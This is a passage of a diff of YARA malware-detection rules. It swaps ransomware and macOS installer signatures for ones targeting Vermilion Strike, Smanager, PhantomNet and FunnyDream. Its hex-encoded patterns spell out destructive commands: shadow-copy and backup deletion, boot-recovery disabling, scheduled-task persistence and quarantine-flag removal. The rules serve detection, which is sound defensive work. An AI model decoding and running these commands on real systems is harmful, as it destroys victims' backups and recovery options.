ff ff 89 05 e6 e4 20 00 b8 01 00 } + $s5 = { b8 02 00 00 00 48 89 fb 48 83 ec 10 66 89 04 25 00 00 00 00 e8 a6 4e ff ff 83 f8 ff 89 04 24 74 16 89 04 25 04 00 00 00 b8 01 00 00 00 48 83 c4 10 5b c3 0f 1f 40 00 48 89 df e8 f0 4e ff ff 48 89 c1 31 c0 48 85 } condition: - uint16( 0 ) == 0x5a4d and filesize > 5KB and 2 of them + uint32( 0 ) == 0x464c457f and filesize > 30KB and 4 of them } -rule ARKBIRD_SOLG_RAN_Medusalocker_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Stager_Vermilion_Strike_Sep_2021_1 : FILE { meta: - description = "Detect MedusaLocker ransomware" + description = "Detect the windows version of the stager of Vermilion Strike implant" author = "Arkbird_SOLG" - id = "9e647371-b37a-53af-bfb6-cde72855b564" - date = "2021-08-08" - modified = "2021-08-08" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-08/medusalocker/RAN_MedusaLocker_Aug_2021_1.yara#L1-L29" + id = "7a8ae258-1fb4-5a24-b69e-3a632e00bfae" + date = "2021-09-14" + modified = "2021-09-16" + reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Stager_Vermilion_Strike_Sep_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "40dd3ec16eefc59cb25c8855fb62cda1d642ec711226c1c964fd26384be7ef15" - score = 75 - quality = 73 + logic_hash = "cc4d59c92faba1f3435c8454071a1e1c60b6339393796c76e64b890bb85d13cc" + score = 50 + quality = 75 tags = "FILE" - hash1 = "4f9a833e79092006c06203a66b41fc9250bcebcee148fea404db75d52035131c" - hash2 = "212e7f5ed4a581b4d778dfef226738c6db56b4b4006526259392d03062587887" - hash3 = "a25c0227728878c386ab6dba139976cb10e853dd3cd1eb3623f236ee8e1df212" - hash4 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc" - hash5 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad" - hash6 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31" - tlp = "white" - adversary = "RaaS" + hash1 = "3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc" + level = "experimental" + tlp = "White" + adversary = "Vermilion Strike" strings: - $s1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide - $s2 = { 83 c4 08 8d 8d ?? fe ff ff e8 [2] ff ff 8d 8d ?? fe ff ff e8 [2] ff ff 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d [2] ff ff e8 [2] 00 00 8d 8d [2] ff ff 51 e8 ?? f9 ff ff 83 c4 04 88 85 2b ff ff ff 8d 8d [2] ff ff e8 [2] 00 00 0f b6 95 2b ff ff ff 85 d2 74 1e 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 33 c0 e9 [2] 00 00 8d 4d fa e8 [2] ff ff 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 0f b6 c0 85 c0 74 0c c7 85 ?? fe ff ff [2] 48 00 eb 0a c7 85 ?? fe ff ff [2] 48 00 8b 8d ?? fe ff ff 89 8d ?? fe ff ff 8d 95 ?? fe ff ff 52 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? f8 ff ff 8d 4d 8c e8 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff b9 [2] 4a 00 e8 [2] ff ff 50 e8 [2] ff ff 83 c4 04 50 8d 4d 8c e8 [2] 00 00 0f b6 c0 85 c0 75 41 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? c6 ff ff c7 85 ?? fe ff ff 00 00 00 00 8d 4d 8c e8 [2] 00 00 8d 4d fa e8 [2] ff ff 8b 85 ?? fe ff ff e9 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d ?? fe ff ff e8 [2] 00 00 8d 8d ?? fd ff ff 51 8d 4d 8c e8 [2] 00 00 50 e8 [2] ff ff 83 c4 04 50 8d 95 ?? fe ff ff 52 b9 [2] 4a 00 e8 [2] 00 00 0f b6 c0 85 c0 75 0c c7 85 ?? fe ff ff 01 00 00 00 eb 0a c7 85 ?? fe ff ff 00 00 00 00 8a 8d ?? fe ff ff 88 8d 2a ff ff ff 8d 8d ?? fd ff ff e8 [2] 00 00 8d 8d ?? fe ff ff } - $s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 } - $s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 } - $s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide - $s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f } - $s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 } - $s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 } - $s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 } - $s10 = { 33 c0 48 89 44 24 40 48 c7 44 24 48 07 00 00 00 66 89 44 24 30 44 8d 40 26 48 8d 15 [2] 09 00 48 8d 4c 24 30 e8 [2] ff ff 48 83 7c 24 40 00 74 42 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 b9 01 00 1f 00 ff 15 [2] 07 00 48 85 c0 75 1f 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 33 c9 ff 15 [2] 07 00 32 db eb 02 b3 01 48 8b 54 24 48 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 30 48 8b c1 48 81 fa 00 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 d3 00 00 00 e8 [2] 03 00 84 db 0f 85 ad 00 00 00 e8 3e 36 00 00 84 c0 75 05 e8 c5 36 00 00 e8 ?? 94 ff ff 48 8d 1d [2] 0d 00 48 8d 4c 24 30 e8 [2] ff ff 48 8b f8 48 8d 35 [2] 0d 00 0f 1f } + $s1 = { a1 b0 62 41 00 33 c4 50 8d 84 24 d0 00 00 00 64 a3 00 00 00 00 8b da 8b 84 24 ec 00 00 00 8b b4 24 e0 00 00 00 8b bc 24 e4 00 00 00 8b ac 24 e8 00 00 00 8d 54 24 2c 52 89 44 24 28 89 4c 24 2c e8 95 f0 ff ff 33 c0 89 84 24 d8 00 00 00 c7 84 24 88 00 00 00 0f 00 00 00 89 84 24 84 00 00 00 88 44 24 74 6a 17 68 fc 3b 41 00 8d 44 24 78 c6 84 24 e0 00 00 00 01 e8 9e 0b 00 00 6a 02 68 14 3c 41 00 8d 44 24 78 e8 8e 0b 00 00 6a 00 6a 00 6a 00 6a 01 55 ff 15 44 21 41 00 8b e8 55 6a 02 57 53 8b ce 89 6c 24 2c e8 8d fc ff ff 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 53 56 55 ff 15 58 21 41 00 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 57 68 f8 3b 41 00 50 89 44 24 40 ff 15 4c 21 41 00 } + $s2 = { 64 a1 00 00 00 00 50 83 ec 60 a1 b0 62 41 00 33 c4 89 44 24 58 53 55 56 57 a1 b0 62 41 00 33 c4 50 8d 44 24 74 64 a3 00 00 00 00 8b 84 24 88 00 00 00 8b ac 24 84 00 00 00 8b f9 89 44 24 18 33 c0 8d 4c 24 1c 51 8b f2 33 db 89 44 24 30 89 44 24 34 89 44 24 38 89 44 24 3c 89 44 24 40 89 44 24 44 89 44 24 48 89 44 24 4c 89 44 24 50 89 44 24 20 89 44 24 24 89 44 24 28 89 44 24 2c ff 15 2c 21 41 00 85 c0 74 21 39 5c 24 1c 74 05 bb 01 00 00 00 8b 44 24 20 } + $s3 = { 50 56 8d 4c 24 58 e8 fc f2 ff ff 6a 01 8d 54 24 18 52 8d 44 24 58 50 89 9c 24 88 00 00 00 33 c0 c6 44 24 20 3d e8 0d 01 00 00 83 f8 ff 74 4f 80 bc 24 8c 00 00 00 00 74 16 56 bb 18 3c 41 00 8d 7c 24 54 e8 8f fd ff ff 83 c4 04 84 c0 75 2f 56 bb 20 3c 41 00 8d 7c 24 54 e8 79 fd ff ff 83 c4 04 84 c0 75 19 56 bb 28 3c 41 00 e8 67 fd ff ff 83 c4 04 84 c0 74 07 c7 45 00 04 00 00 00 83 7c 24 68 10 72 19 } + $s4 = { 8d 44 24 18 50 8d 4c 24 18 51 6a 1f 53 c7 44 24 28 04 00 00 00 ff 15 3c 21 41 00 81 4c 24 14 00 01 00 00 6a 04 8d 54 24 18 52 6a 1f 53 } condition: - uint16( 0 ) == 0x5A4D and filesize > 150KB and 9 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 30KB and 3 of them } -rule ARKBIRD_SOLG_Ran_Ranzylocker_Hunting_Mar_2021_1 : FILE +rule ARKBIRD_SOLG_Mal_Smanager_Installer_Module_Nov_2020_1 : FILE { meta: - description = "Detect RanzyLocker ransomware" + description = "Detect installer module of Smanager (November 2020)" author = "Arkbird_SOLG" - id = "0d0c743b-9beb-5413-b5ba-dad75c2ee0b7" - date = "2021-03-16" - modified = "2021-03-17" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-16/RanzyLocker/Ran_RanzyLocker_Hunting_Mar_2021_1.yar#L1-L24" + id = "364285bc-2173-5ff0-85d2-af06051a3b70" + date = "2020-12-19" + modified = "2020-12-19" + reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_Smanager_Installer_Module_Nov_2020_1.yar#L1-L24" license_url = "N/A" - logic_hash = "ec7867e40e4418bb662c8cf5a71566cd261d2040ee5d3afa0bbe2b92ebfef98e" - score = 50 - quality = 53 + logic_hash = "380d28f6cdea24f807f3c29207eb0b8888ebdfea215c53df164fe080c3917438" + score = 75 + quality = 61 tags = "FILE" - hash1 = "5d0af3bf0dc7d99fc87d844a0fcd99796b9257ba02d78510422c498d445f0d0d" + hash1 = "97a5fe1d2174e9d34cee8c1d6751bf01f99d8f40b1ae0bce205b8f2f0483225c" strings: - $s1 = "-nolan" fullword wide - $s2 = { 34 33 33 41 35 43 35 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 34 36 36 39 36 43 36 35 37 33 32 30 32 38 37 38 33 38 33 36 32 39 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 32 30 35 33 35 31 34 43 32 30 35 33 36 35 37 32 37 36 36 35 37 32 } - $s3 = { 34 33 33 41 35 43 35 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 34 36 36 39 36 43 36 35 37 33 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 32 30 35 33 35 31 34 43 32 30 35 33 36 35 37 32 37 36 36 35 37 32 } - $s4 = { 32 32 37 33 37 35 36 32 36 39 36 34 32 32 33 41 32 32 00 00 32 32 36 43 36 31 36 45 36 37 32 32 33 41 32 32 } - $s5 = { 32 32 36 43 36 31 36 45 36 37 32 32 33 41 32 32 } - $s6 = { 32 32 36 35 37 38 37 34 32 32 33 41 32 32 } - $s7 = { 32 32 36 42 36 35 37 39 32 32 33 41 32 32 } - $s8 = { 32 32 36 45 36 35 37 34 37 37 36 46 37 32 36 42 32 32 33 41 32 32 } - $s9 = { 36 32 36 33 36 34 36 35 36 34 36 39 37 34 32 45 36 35 37 38 36 35 32 30 32 46 37 33 36 35 37 34 32 30 37 42 36 34 36 35 36 36 36 31 37 35 36 43 37 34 37 44 32 30 36 32 36 46 36 46 37 34 37 33 37 34 36 31 37 34 37 35 37 33 37 30 36 46 36 43 36 39 36 33 37 39 32 30 36 39 36 37 36 45 36 46 37 32 36 35 36 31 36 43 36 43 36 36 36 31 36 39 36 43 37 35 37 32 36 35 37 33 } - $s10 = { 36 32 36 33 36 34 36 35 36 34 36 39 37 34 32 45 36 35 37 38 36 35 32 30 32 46 37 33 36 35 37 34 32 30 37 42 36 34 36 35 36 36 36 31 37 35 36 43 37 34 37 44 32 30 37 32 36 35 36 33 36 46 37 36 36 35 37 32 37 39 36 35 36 45 36 31 36 32 36 43 36 35 36 34 32 30 34 45 36 46 } - $s11 = { 37 37 36 44 36 39 36 33 32 45 36 35 37 38 36 35 32 30 35 33 34 38 34 31 34 34 34 46 35 37 34 33 34 46 35 30 35 39 32 30 32 46 36 45 36 46 36 39 36 45 37 34 36 35 37 32 36 31 36 33 37 34 36 39 37 36 36 35 } - $s12 = { 35 33 34 46 34 36 35 34 35 37 34 31 35 32 34 35 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 35 43 34 35 35 32 34 39 34 34 } - $s13 = { 37 32 36 35 36 31 36 34 36 44 36 35 32 45 37 34 37 38 37 34 } + $s1 = { 63 6d 64 20 2f 63 20 73 63 68 74 61 73 6b 73 20 2f 46 20 2f 63 72 65 61 74 65 20 2f 74 6e 3a 57 69 6e 64 6f 77 73 5c 55 70 64 61 74 65 20 2f 74 72 20 22 25 73 22 20 20 20 2f 73 63 20 48 4f 55 52 4c 59 } + $s2 = { 25 73 5c 73 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 25 73 } + $s3 = { 25 73 79 73 74 65 6d 72 6f 6f 74 25 } + $s4 = { 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c [1-8] 5c [1-8] 2e 63 61 62 } + $s5 = { 53 6d 61 6e 61 67 65 72 5f 73 73 6c 2e 64 6c 6c } + $s6 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 53 76 63 68 6f 73 74 } + $s7 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c } + $s8 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 61 70 70 70 61 74 63 68 5c } + $s9 = "TmV0QmlvcyBNZXNzYWdlciBSZWdpc3Rlcg==" fullword ascii + $s10 = { 68 74 74 70 73 3d 25 5b 5e 3a 5d 3a 25 64 00 00 68 74 74 70 73 3d 00 00 73 6f 63 6b 73 3d 25 5b 5e 3a 5d 3a 25 64 00 00 73 6f 63 6b 73 3d 00 00 68 74 74 70 3d 25 5b 5e 3a 5d 3a 25 64 00 00 00 68 74 74 70 3d } + $s11 = "&About VVSup..." fullword wide + $s12 = "%d.tmp" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 10 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 90KB and 7 of them } -rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_1 : FILE +rule ARKBIRD_SOLG_Mal_Phantomnet_Nov_2020_1 : FILE { meta: - description = "Detect WizardUpdate installer on OSX system" + description = "Detect PhantomNet (November 2020)" author = "Arkbird_SOLG" - id = "50974725-6b45-5f2f-aa76-ae73dc752873" - date = "2021-10-22" - modified = "2021-10-23" - reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_1.yara#L1-L21" + id = "16ddcc9a-8254-5d40-adcd-70ebe212fc78" + date = "2020-12-19" + modified = "2020-12-19" + reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_PhantomNet_Nov_2020_1.yar#L1-L24" license_url = "N/A" - logic_hash = "b25145a9aa33c9518e5e0847b50faa8b67d65078ddfbb66de49196a17ddd3137" + logic_hash = "a08467f68968fb0dfa82bca5984e1ad823f222946bd0acb62db418556a9a347a" score = 75 - quality = 75 + quality = 65 tags = "FILE" - hash1 = "939cebc99a50989ffbdbb2a6727b914fc9b2382589b4075a9fd3857e99a8c92a3" - hash2 = "c5017798275f054ae96c69f5dd0b378924c6504a70c399279bbf7f33d990d45b" - hash3 = "7067e6a69a8f5fdbabfb00d03320cfc2f3584a83304cbeeca7e8edc3d57bbbd4" - tlp = "White" - adversary = "-" + hash1 = "ea7b2def3335b81048aac8fc372349f38453b676fa833603b7e15c45437f6858" + hash2 = "338502691f6861ae54e651a25a08e62eeca9febc6830978a670d44caf3d5d056" strings: - $s1 = { 48 89 e5 48 83 ec 70 48 89 7d f0 48 c7 45 e0 00 00 00 00 b8 01 00 00 00 48 89 c7 48 89 c6 e8 b8 3b 00 00 31 c9 89 cf 48 89 45 d8 48 c7 45 d0 00 00 00 00 e8 a9 3b 00 00 48 8b 7d f0 48 8d 35 d4 3f 00 00 89 45 cc e8 ba 3b 00 00 48 89 45 e8 48 83 7d e8 00 0f 85 0d 00 00 00 48 c7 45 f8 00 00 00 00 e9 cd 00 00 00 e9 00 00 00 00 48 8b 55 e8 48 8d 7d e0 48 8d 75 d0 e8 70 3b 00 00 48 83 f8 ff 0f 84 9c 00 00 00 48 8b 7d d8 48 8b 45 d8 48 89 7d c0 48 89 c7 e8 76 3b 00 00 48 8b 7d e0 48 89 45 b8 e8 69 3b 00 00 48 8b 4d b8 48 01 c1 48 81 c1 01 00 00 00 48 8b 7d c0 48 89 ce e8 49 3b 00 00 48 89 45 d8 48 8b 45 d8 48 8b 7d d8 48 89 45 b0 e8 3a 3b 00 00 48 8b 4d b0 48 01 c1 48 8b 75 e0 48 8b 7d e0 48 89 4d a8 48 89 75 a0 e8 1e 3b 00 00 48 05 01 00 00 00 48 8b 7d a8 48 8b 75 a0 48 89 c2 e8 0e 3b 00 00 48 8b 7d e0 48 89 45 98 e8 d1 3a 00 00 48 c7 45 } - $s2 = { 48 89 e5 48 81 ec 80 01 00 00 48 89 f8 48 8b 0d 7b 31 00 00 48 8b 09 48 89 4d f8 48 89 bd e8 fe ff ff c6 85 e7 fe ff ff 00 48 89 bd b8 fe ff ff 48 89 b5 b0 fe ff ff 48 89 85 a8 fe ff ff e8 9c 01 00 00 c7 85 d4 fe ff ff 00 01 00 00 48 8d 35 0a 2e 00 00 48 8b bd b0 fe ff ff e8 df 28 00 00 e9 00 00 00 00 48 8b bd b0 fe ff ff e8 8e 01 00 00 48 8d 35 ec 2d 00 00 48 89 c7 e8 5b 29 00 00 48 89 85 a0 fe ff ff e9 00 00 00 00 48 8b 85 a0 fe ff ff 48 89 85 d8 fe ff ff 48 83 bd d8 fe ff ff 00 0f 84 c4 00 00 00 e9 00 00 00 00 48 8b bd d8 fe ff ff e8 04 29 00 00 89 85 9c fe ff ff e9 00 00 00 00 8b 85 9c fe ff ff 83 f8 00 0f 95 c1 80 f1 ff f6 c1 01 0f 85 05 00 00 00 e9 75 00 00 00 48 8b 95 d8 fe ff ff 48 8d bd f0 fe ff ff be 00 01 00 00 e8 ca 28 00 00 48 89 85 90 fe ff ff e9 00 00 00 00 48 8b 85 90 fe ff ff 48 83 f8 00 0f 84 3b 00 00 00 48 8d b5 f0 fe ff ff 48 8b bd b8 fe ff ff } - $s3 = "11101000010110101110100011010010110110101100101011011110111010101110100001000000011100100110000001100000010000000101101010011000010000000100010011010000111010001110100011100000111001100111010001011110010111101101101" - $s4 = { 48 8b bd d8 fe ff ff e8 73 28 00 00 e9 00 00 00 00 e9 00 00 00 00 c6 85 e7 fe ff ff 01 f6 85 e7 fe ff ff 01 0f 85 0c 00 00 00 48 8b bd b8 fe ff ff e8 cb 27 00 00 48 8b 05 fc 2f 00 00 48 8b 00 48 8b 4d f8 48 39 c8 0f 85 32 00 00 00 48 8b 85 a8 fe ff ff 48 81 c4 80 01 00 } + $s1 = { 25 73 25 30 38 58 } + $s2 = { 68 00 74 00 74 00 70 00 5c 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 6f 00 70 00 65 00 6e 00 5c 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 } + $s3 = { 6b 25 34 64 2d 25 30 32 64 2d 25 30 32 64 } + $s4 = { 47 6c 6f 62 61 6c 5c 47 6c 6f 62 61 6c 41 63 70 72 6f 74 65 63 74 4d 75 74 65 78 } + $s5 = "Proxy-Authorization: NTLM" fullword ascii + $s6 = { 50 72 6f 78 79 2d 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a } + $s7 = { 48 54 54 50 2f 31 2e 31 20 00 00 00 48 54 54 50 2f 31 2e 30 20 } + $s8 = { 52 00 6f 00 6f 00 74 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 00 00 00 00 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 00 00 57 51 4c } + $s9 = { 68 74 74 70 00 00 00 00 25 5b 5e 3a 5d 00 00 00 25 2a 5b 5e 3a 5d 3a 25 64 } + $s10 = { 48 6f 73 74 3a 20 } + $s11 = { 43 6f 6f 6b 69 65 73 3a 20 } + $s12 = "Proxy-Authenticate: NTLM" fullword ascii condition: - uint32( 0 ) == 0xFEEDFACF and filesize > 50KB and ( ( $s1 and $s3 ) or ( $s2 and $s4 ) ) + uint16( 0 ) == 0x5a4d and filesize > 90KB and 9 of them } -rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_2 : FILE +rule ARKBIRD_SOLG_Mal_Funnydream_Backdoor_Nov_2020_1 : FILE { meta: - description = "Detect a structure like the bash of WizardUpdate installer on OSX system" + description = "Detect backdoor used by FunnyDream (November 2020)" author = "Arkbird_SOLG" - id = "3e48c2fa-10f4-5152-90e6-f5f8cc507103" - date = "2021-10-22" - modified = "2021-10-23" - reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_2.yara#L1-L20" + id = "48120ba2-adaa-5098-8d8c-5c32bbafb9f6" + date = "2020-12-19" + modified = "2020-12-19" + reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_FunnyDream_Backdoor_Nov_2020_1.yar#L1-L22" license_url = "N/A" - logic_hash = "99d3323e3c155be040fef3beea0a55aec9bd3178df822d5fd6530864186446ed" + logic_hash = "d12c465c735f09295b382fd5679d411c5114c232dabc22be84151e436f8fa199" score = 75 quality = 67 tags = "FILE" - hash1 = "eafacc44666901a5ea3c81a128e5dd88d0968a400d74ef1da5c2c05dc6dd7a39" - tlp = "White" - adversary = "-" + hash1 = "ce5c8741bffa8de5093d1831d736a7e478a54baa3676da37cde24f38d10f3529" strings: - $s1 = { 24 28 65 76 61 6c 20 65 63 68 6f 20 7e 24 28 65 63 68 6f 20 24 55 53 45 52 29 29 } - $s2 = { 69 66 20 5b 20 21 20 2d 66 20 22 24 [5-15] 22 20 5d 3b 20 74 68 65 6e } - $s3 = { 63 75 72 6c 20 2d 2d 72 65 74 72 79 20 [2-3] 2d 66 20 22 } - $s4 = { 78 61 74 74 72 20 2d 72 20 2d 64 20 63 6f 6d 2e 61 70 70 6c 65 2e 71 75 61 72 61 6e 74 69 6e 65 } - $s5 = { 6c 61 75 6e 63 68 63 74 6c 20 6c 6f 61 64 20 2d 77 } - $s6 = { 63 68 6f 77 6e 20 2d 52 20 24 55 53 45 52 } - $s7 = { 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 20 65 6e 63 6f 64 69 6e 67 3d 5c 22 55 54 46 2d 38 5c 22 3f 3e 0a 09 3c 21 44 4f 43 54 59 50 45 20 70 6c 69 73 74 20 50 55 42 4c 49 43 20 5c 22 2d 2f 2f 41 70 70 6c 65 2f 2f 44 54 44 20 50 4c 49 53 54 20 31 2e 30 2f 2f 45 4e 5c 22 20 5c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 70 6c 65 2e 63 6f 6d 2f 44 54 44 73 2f 50 72 6f 70 65 72 74 79 4c 69 73 74 2d 31 2e 30 2e 64 74 64 5c 22 3e 0a 09 3c 70 6c 69 73 74 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 3e } + $s1 = { 25 64 25 64 25 64 20 25 64 3a 25 64 } + $s2 = { 73 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 49 6e 74 65 72 6e 65 74 20 53 65 74 74 69 6e 67 73 00 00 50 72 6f 78 79 45 6e 61 62 6c 65 00 50 72 6f 78 79 53 65 72 76 65 } + $s3 = { 48 41 52 44 57 41 52 45 5c 44 45 53 43 52 49 50 54 49 4f 4e 5c 53 79 73 74 65 6d 5c 43 65 6e 74 72 61 6c 50 72 6f 63 65 73 73 6f 72 5c 30 } + $s4 = { 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 75 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 25 75 25 73 25 73 0d 0a 53 65 72 76 65 72 3a 20 53 69 6d 70 6c 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 } + $s5 = { 43 4f 4e 4e 45 43 54 20 25 73 3a 25 64 20 48 54 54 50 2f 31 2e 30 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 31 30 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 29 0d 0a 50 72 6f 78 79 2d 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 25 73 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a } + $s6 = { 31 32 33 34 35 36 00 00 55 73 65 72 2d 30 30 31 } + $s7 = { 25 73 20 25 73 25 73 2f 25 73 2f 25 30 38 58 25 30 38 58 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 30 38 58 25 30 38 78 } + $s8 = { 63 6c 74 2e 65 78 65 00 44 6c 6c 49 6e 73 74 61 6c 6c 00 53 74 61 72 74 } + $s9 = { 32 30 30 20 43 6f 6e 6e 65 63 74 69 6f 6e 20 65 73 74 61 62 6c 69 73 68 65 64 } + $s10 = { 5c 63 6d 64 c7 85 e0 fe ff ff 2e 65 78 65 } condition: - filesize > 2KB and 6 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 90KB and 6 of them } -rule 